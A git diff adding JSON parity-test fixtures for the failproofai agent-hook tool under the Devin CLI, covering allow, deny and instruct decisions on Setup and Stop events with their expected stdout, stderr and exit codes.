&a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e2dcdec6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..0d510fbd --- /dev/null +++ b/__tests__/parity/fixtures/devin/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Setup\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..fcb82aff --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..99d58087 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7a2cfc6c --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..959e845e --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a0811e99 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..eded0e83 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b8ce52b1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..99134887 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b5abadcd --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ea921b35 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..fd58c8fa --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..840afe76 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8353e077 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b1901105 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..a2a8945e --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..294ec31d --- /dev/null +++ b/__tests__/parity/fixtures/devin/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git 